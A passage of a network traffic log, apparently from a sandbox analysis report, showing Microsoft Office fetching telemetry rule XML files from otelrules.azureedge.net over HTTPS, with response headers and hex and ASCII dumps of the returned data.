2024-11-11 13:33:15 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:15 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 64875b8c-901e-0067-68d5-33b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133315Z-174f7845968cdxdrhC1EWRg0en00000004w000000000dtcn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:15 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:15 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:15 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 95c6c6ee-501e-0078-4dd5-3306cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133315Z-174f7845968j9dchhC1EWRfe7400000004sg00000000dbau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:15 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:15 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:15 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6193d0b2-701e-000d-6ed5-336de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133315Z-174f7845968swgbqhC1EWRmnb4000000053g00000000b508 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:15 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:15 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:15 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 22e16892-b01e-0070-78d5-331cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133315Z-174f7845968ljs8phC1EWRe6en00000004sg00000000d33x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:15 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:15 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:15 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:15 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 8e1de6bc-801e-007b-1bd5-33e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133315Z-174f7845968psccphC1EWRuz9s000000058g000000007h2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:15 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:16 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:16 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: bdd760ac-701e-0053-09d5-333a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133316Z-174f7845968t42glhC1EWRa36w00000004p000000000de47 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:16 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:16 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:16 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 63eb3078-501e-00a3-48d5-33c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133316Z-174f7845968cdxdrhC1EWRg0en0000000500000000006q73 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:16 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:16 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:16 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5fef6650-301e-0051-3fd5-3338bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133316Z-174f784596886s2bhC1EWR743w00000004zg00000000c5m3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:16 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:16 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 30997c55-701e-006f-03d5-33afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133316Z-174f7845968jrjrxhC1EWRmmrs00000005700000000044ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:16 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:16 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:16 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 4e339af6-401e-0016-60d5-3353e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133316Z-174f7845968vqt9xhC1EWRgten000000050000000000bmpr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:16 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:16 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:17 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:16 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: f7a2637e-001e-0065-23d5-330b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133316Z-174f7845968xlwnmhC1EWR0sv800000004x000000000418c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:17 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:16 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
